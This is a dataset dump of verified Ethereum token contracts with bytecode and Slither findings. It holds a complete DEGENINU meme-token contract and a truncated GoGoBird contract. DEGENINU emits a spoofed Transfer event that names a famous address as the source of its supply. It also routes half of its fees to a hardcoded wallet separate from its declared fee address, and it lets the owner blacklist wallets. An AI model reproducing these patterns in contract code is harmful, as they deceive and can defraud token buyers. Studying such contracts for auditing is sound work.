address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x66D4F305A662b7330C444e0ADAb1B321C9806A30
|
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
/*
t.me/degeninu
██████████ ██████████ █████████ ██████████ ██████ █████
░░███░░░░███ ░░███░░░░░█ ███░░░░░███░░███░░░░░█░░██████ ░░███
░███ ░░███ ░███ █ ░ ███ ░░░ ░███ █ ░ ░███░███ ░███
░███ ░███ ░██████ ░███ ░██████ ░███░░███░███
░███ ░███ ░███░░█ ░███ █████ ░███░░█ ░███ ░░██████
░███ ███ ░███ ░ █░░███ ░░███ ░███ ░ █ ░███ ░░█████
██████████ ██████████ ░░█████████ ██████████ █████ ░░█████
░░░░░░░░░░ ░░░░░░░░░░ ░░░░░░░░░ ░░░░░░░░░░ ░░░░░ ░░░░░
█████ ██████ █████ █████ █████
░░███ ░░██████ ░░███ ░░███ ░░███
░███ ░███░███ ░███ ░███ ░███
░███ ░███░░███░███ ░███ ░███
░███ ░███ ░░██████ ░███ ░███
░███ ░███ ░░█████ ░███ ░███
█████ █████ ░░█████ ░░████████
░░░░░ ░░░░░ ░░░░░ ░░░░░░░░
t.me/degeninu
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DEGENINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"DEGENINU🍾💸🚬🤪";
string private constant _symbol = 'DEGENINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (33 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0x69696902c8e3950Ca062527c61E23B8Aedb444cB).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610308578063c3c8cd8014610328578063c9567bf91461033d578063d543dbeb14610352578063dd62ed3e1461037257600080fd5b8063715018a61461027a5780638da5cb5b1461028f57806395d89b41146102b7578063a9059cbb146102e857600080fd5b8063273123b7116100dc578063273123b7146101e7578063313ce567146102095780635932ead1146102255780636fc3eaec1461024557806370a082311461025a57600080fd5b806306fdde0314610119578063095ea7b31461017157806318160ddd146101a157806323b872dd146101c757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601881527f444547454e494e55f09f8dbef09f92b8f09f9aacf09fa4aa000000000000000060208201525b60405161016891906119a4565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611835565b6103b8565b6040519015158152602001610168565b3480156101ad57600080fd5b50683635c9adc5dea000005b604051908152602001610168565b3480156101d357600080fd5b506101916101e23660046117f5565b6103cf565b3480156101f357600080fd5b50610207610202366004611785565b610438565b005b34801561021557600080fd5b5060405160098152602001610168565b34801561023157600080fd5b50610207610240366004611927565b61048c565b34801561025157600080fd5b506102076104d4565b34801561026657600080fd5b506101b9610275366004611785565b610501565b34801561028657600080fd5b50610207610523565b34801561029b57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c357600080fd5b50604080518082019091526008815267444547454e494e5560c01b602082015261015b565b3480156102f457600080fd5b50610191610303366004611835565b610597565b34801561031457600080fd5b50610207610323366004611860565b6105a4565b34801561033457600080fd5b50610207610648565b34801561034957600080fd5b5061020761067e565b34801561035e57600080fd5b5061020761036d36600461195f565b610a41565b34801561037e57600080fd5b506101b961038d3660046117bd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c5338484610b14565b5060015b92915050565b60006103dc848484610c38565b61042e843361042985604051806060016040528060288152602001611b75602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fd2565b610b14565b5060019392505050565b6000546001600160a01b0316331461046b5760405162461bcd60e51b8152600401610462906119f7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104b65760405162461bcd60e51b8152600401610462906119f7565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104f457600080fd5b476104fe8161100c565b50565b6001600160a01b0381166000908152600260205260408120546103c99061109a565b6000546001600160a01b0316331461054d5760405162461bcd60e51b8152600401610462906119f7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c5338484610c38565b6000546001600160a01b031633146105ce5760405162461bcd60e51b8152600401610462906119f7565b60005b81518110156106445760016006600084848151811061060057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063c81611b0a565b9150506105d1565b5050565b600e546001600160a01b0316336001600160a01b03161461066857600080fd5b600061067330610501565b90506104fe8161111e565b6000546001600160a01b031633146106a85760405162461bcd60e51b8152600401610462906119f7565b601154600160a01b900460ff16156107025760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610462565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073f3082683635c9adc5dea00000610b14565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077857600080fd5b505afa15801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b091906117a1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f857600080fd5b505afa15801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906117a1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087857600080fd5b505af115801561088c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b091906117a1565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108e081610501565b6000806108f56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095857600080fd5b505af115801561096c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109919190611977565b505060118054671d7d843dc3b4800060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0957600080fd5b505af1158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106449190611943565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b8152600401610462906119f7565b60008111610abb5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610462565b610ad96064610ad3683635c9adc5dea00000846112c3565b90611342565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b038216610bd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610462565b6001600160a01b038216610cfe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610462565b60008111610d605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610462565b6007600a556005600b556000546001600160a01b03848116911614801590610d9657506000546001600160a01b03838116911614155b15610f75576001600160a01b03831660009081526006602052604090205460ff16158015610ddd57506001600160a01b03821660009081526006602052604090205460ff16155b610de657600080fd5b6011546001600160a01b038481169116148015610e1157506010546001600160a01b03838116911614155b8015610e3657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4b5750601154600160b81b900460ff165b15610ea857601254811115610e5f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e8357600080fd5b610e8e426021611a9c565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ed357506010546001600160a01b03848116911614155b8015610ef857506001600160a01b03831660009081526005602052604090205460ff16155b15610f08576007600a556008600b555b6000610f1330610501565b601154909150600160a81b900460ff16158015610f3e57506011546001600160a01b03858116911614155b8015610f535750601154600160b01b900460ff165b15610f7357610f618161111e565b478015610f7157610f714761100c565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fb757506001600160a01b03831660009081526005602052604090205460ff165b15610fc0575060005b610fcc84848484611384565b50505050565b60008184841115610ff65760405162461bcd60e51b815260040161046291906119a4565b5060006110038486611af3565b95945050505050565b7369696902c8e3950ca062527c61e23b8aedb444cb6108fc61102f836002611342565b6040518115909202916000818181858888f19350505050158015611057573d6000803e3d6000fd5b50600f546001600160a01b03166108fc611072836002611342565b6040518115909202916000818181858888f19350505050158015610644573d6000803e3d6000fd5b60006008548211156111015760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610462565b600061110b6113b2565b90506111178382611342565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c857600080fd5b505afa1580156111dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120091906117a1565b8160018151811061122157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546112479130911684610b14565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611280908590600090869030904290600401611a2c565b600060405180830381600087803b15801561129a57600080fd5b505af11580156112ae573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6000826112d2575060006103c9565b60006112de8385611ad4565b9050826112eb8583611ab4565b146111175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610462565b600061111783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d5565b8061139157611391611403565b61139c848484611431565b80610fcc57610fcc600c54600a55600d54600b55565b60008060006113bf611528565b90925090506113ce8282611342565b9250505090565b600081836113f65760405162461bcd60e51b815260040161046291906119a4565b5060006110038486611ab4565b600a541580156114135750600b54155b1561141a57565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806114438761156a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061147590876115c7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114a49086611609565b6001600160a01b0389166000908152600260205260409020556114c681611668565b6114d084836116b2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161151591815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006115448282611342565b82101561156157505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115878a600a54600b546116d6565b92509250925060006115976113b2565b905060008060006115aa8e878787611725565b919e509c509a509598509396509194505050505091939550919395565b600061111783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd2565b6000806116168385611a9c565b9050838110156111175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610462565b60006116726113b2565b9050600061168083836112c3565b3060009081526002602052604090205490915061169d9082611609565b30600090815260026020526040902055505050565b6008546116bf90836115c7565b6008556009546116cf9082611609565b6009555050565b60008080806116ea6064610ad389896112c3565b905060006116fd6064610ad38a896112c3565b905060006117158261170f8b866115c7565b906115c7565b9992985090965090945050505050565b600080808061173488866112c3565b9050600061174288876112c3565b9050600061175088886112c3565b905060006117628261170f86866115c7565b939b939a50919850919650505050505050565b803561178081611b51565b919050565b600060208284031215611796578081fd5b813561111781611b51565b6000602082840312156117b2578081fd5b815161111781611b51565b600080604083850312156117cf578081fd5b82356117da81611b51565b915060208301356117ea81611b51565b809150509250929050565b600080600060608486031215611809578081fd5b833561181481611b51565b9250602084013561182481611b51565b929592945050506040919091013590565b60008060408385031215611847578182fd5b823561185281611b51565b946020939093013593505050565b60006020808385031215611872578182fd5b823567ffffffffffffffff80821115611889578384fd5b818501915085601f83011261189c578384fd5b8135818111156118ae576118ae611b3b565b8060051b604051601f19603f830116810181811085821117156118d3576118d3611b3b565b604052828152858101935084860182860187018a10156118f1578788fd5b8795505b8386101561191a5761190681611775565b8552600195909501949386019386016118f5565b5098975050505050505050565b600060208284031215611938578081fd5b813561111781611b66565b600060208284031215611954578081fd5b815161111781611b66565b600060208284031215611970578081fd5b5035919050565b60008060006060848603121561198b578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119d0578581018301518582016040015282016119b4565b818111156119e15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a7b5784516001600160a01b031683529383019391830191600101611a56565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611aaf57611aaf611b25565b500190565b600082611acf57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611aee57611aee611b25565b500290565b600082821015611b0557611b05611b25565b500390565b6000600019821415611b1e57611b1e611b25565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fe57600080fd5b80151581146104fe57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220036c6a3ea5a2561095f223df5879750898884ddefafae5cda0f00538c3c79c7964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,100 |
0x4f0adce4c6e69fcb5b3427e242c7ae4614f8e698
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: Unlicensed
//Go go bird do do do do do do
//go go bird do do do do do do
//go go bird do do do do do do
//go go bird
//https://t.me/gogobird_eth
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GGB is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GoGoBird";
string private constant _symbol = "GOGOBIRD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x1Da60949361Fa9Ee9678FA0A18E1d976fc52c804);
address payable private _marketingAddress = payable(0x1Da60949361Fa9Ee9678FA0A18E1d976fc52c804);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
